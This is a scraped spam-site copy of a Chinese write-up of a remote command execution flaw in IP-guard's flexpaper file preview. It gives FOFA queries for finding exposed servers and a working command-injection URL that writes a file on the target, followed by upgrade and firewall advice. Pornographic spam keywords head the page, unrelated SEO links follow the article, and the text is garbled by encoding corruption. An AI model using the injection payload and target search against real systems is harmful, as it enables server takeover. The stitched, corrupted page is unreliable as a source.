中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

ui設(shè)計和網(wǎng)站開發(fā)官方網(wǎng)站營銷

ui設(shè)計和網(wǎng)站開發(fā),官方網(wǎng)站營銷,做網(wǎng)站最好,東莞建筑公司排名簡介 IP-guard是一款終端安全管理軟件,旨在幫助企業(yè)保護終端設(shè)備安全、數(shù)據(jù)安全、管理網(wǎng)絡(luò)使用和簡化IT系統(tǒng)管理。在舊版本申請審批的文件預(yù)覽功能用到了一個開源的插件 flexpaper,使用的這個插件版本存在遠程命令執(zhí)行漏洞,攻擊者可利用該漏…

簡介

IP-guard是一款終端安全管理軟件,旨在幫助企業(yè)保護終端設(shè)備安全、數(shù)據(jù)安全、管理網(wǎng)絡(luò)使用和簡化IT系統(tǒng)管理。在舊版本申請審批的文件預(yù)覽功能用到了一個開源的插件 flexpaper,使用的這個插件版本存在遠程命令執(zhí)行漏洞,攻擊者可利用該漏洞執(zhí)行任意命令,獲取服務(wù)器控制權(quán)限。

影響版本:IP-guard<4.81.0307.0

漏洞復(fù)現(xiàn)

FOFA語法:
app="IP-guard"
或者
web.title="IP-guard"

訪問頁面如下所示:

POC:

/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+test+>test.txt

拼接URL進行g(shù)et請求:

http://ip:port/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+test+>test.txt

從瀏覽器訪問后會直接下載一個文件證明請求成功

訪問POC:/ipg/static/appr/lib/flexpaper/php/test.txt

成功執(zhí)行寫入的命令

攻擊者可以利用漏洞獲取對服務(wù)器的控制權(quán)

修復(fù)建議

1、產(chǎn)品升級方案
官方已發(fā)布新版本修復(fù)漏洞,建議盡快訪問官網(wǎng)(https://www.ip-guard.net/)或聯(lián)系官方售后支持獲取版本升級安裝包或補丁,升級至4.81.0307.0及以上。
2、臨時緩解措施

  1. 配置入侵檢測系統(tǒng)(IDS)和入侵防御系統(tǒng)(IPS)以及Web應(yīng)用防火墻(WAF),以識別和阻止這類特征的請求,從而保護系統(tǒng)免受此類遠程命令執(zhí)行攻擊的影響;同時為了避免攻擊者繞過安全設(shè)備實施攻擊,建議盡快修復(fù)漏洞。
  2. 如非必要,不要將 IP-guard 放置在公網(wǎng)上?;蛲ㄟ^網(wǎng)絡(luò)ACL策略限制訪問來源,例如只允許來自特定IP地址或地址段的訪問請求。

免責(zé)聲明

文章僅做經(jīng)驗分享用途,切勿當(dāng)真,未授權(quán)的攻擊屬于非法行為!利用本文章所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責(zé),作者不為此承擔(dān)任何責(zé)任,一旦造成后果請自行承擔(dān)!!!


結(jié)語

沒有人規(guī)定,一朵花一定要成長為向日葵或者玫瑰。

http://www.risenshineclean.com/news/54924.html

相關(guān)文章:

  • 泉州開發(fā)網(wǎng)站的公司有哪些網(wǎng)站推廣費用
  • 如何找網(wǎng)站互聯(lián)網(wǎng)公司
  • 企業(yè)信息管理系統(tǒng)er圖青島網(wǎng)絡(luò)優(yōu)化代理
  • 網(wǎng)站建設(shè)好如何開通天堂網(wǎng)長尾關(guān)鍵詞挖掘網(wǎng)站
  • 育才網(wǎng)站建設(shè)百度推廣一級代理商名單
  • 濟南中建設(shè)計院網(wǎng)站權(quán)重查詢工具
  • 成都網(wǎng)站建設(shè)小程序網(wǎng)絡(luò)營銷的營銷理念
  • 石家莊做家教網(wǎng)站軟文發(fā)布平臺排名
  • 寧波外貿(mào)公司seo網(wǎng)站管理
  • 無極分期網(wǎng)站營銷型網(wǎng)站建設(shè)多少錢
  • 東莞市網(wǎng)站建設(shè)制作設(shè)計平臺溫州seo品牌優(yōu)化軟件
  • 十堰網(wǎng)站建設(shè)費用怎么給自己的公司做網(wǎng)站
  • 建設(shè)網(wǎng)工程信息上??焖賰?yōu)化排名
  • 怎么給網(wǎng)站做懶加載快速網(wǎng)站推廣優(yōu)化
  • 成都網(wǎng)站設(shè)計費用濟寧seo優(yōu)化公司
  • wordpress圖片備用地址遼寧好的百度seo公司
  • 衡水企業(yè)做網(wǎng)站費用安卓排名優(yōu)化
  • php做自己的網(wǎng)站成功的營銷案例及分析
  • 怎么給網(wǎng)站動態(tài)做偽靜態(tài)優(yōu)化公司治理結(jié)構(gòu)
  • 做爰全過程教育網(wǎng)站百度競價排名官網(wǎng)
  • 手機和電腦網(wǎng)站分開做引擎優(yōu)化搜索
  • 家庭寬帶做網(wǎng)站穩(wěn)定鄭州網(wǎng)站制作公司
  • b2b推廣平臺濟南做seo排名
  • 2 網(wǎng)站內(nèi)部鏈接優(yōu)化廣州seo技術(shù)優(yōu)化網(wǎng)站seo
  • 詩歌網(wǎng)站開發(fā)意義百度網(wǎng)站優(yōu)化培訓(xùn)
  • 眼鏡網(wǎng)站怎么做谷歌海外廣告投放推廣
  • 自己做網(wǎng)站好不好小紅書推廣方式有哪些
  • 為企業(yè)做一個網(wǎng)站多少錢旅游推廣賺傭金哪個平臺好
  • 常州手機網(wǎng)站建設(shè)新手怎么做網(wǎng)絡(luò)銷售
  • 那些語言可以做動態(tài)網(wǎng)站qq群排名優(yōu)化軟件購買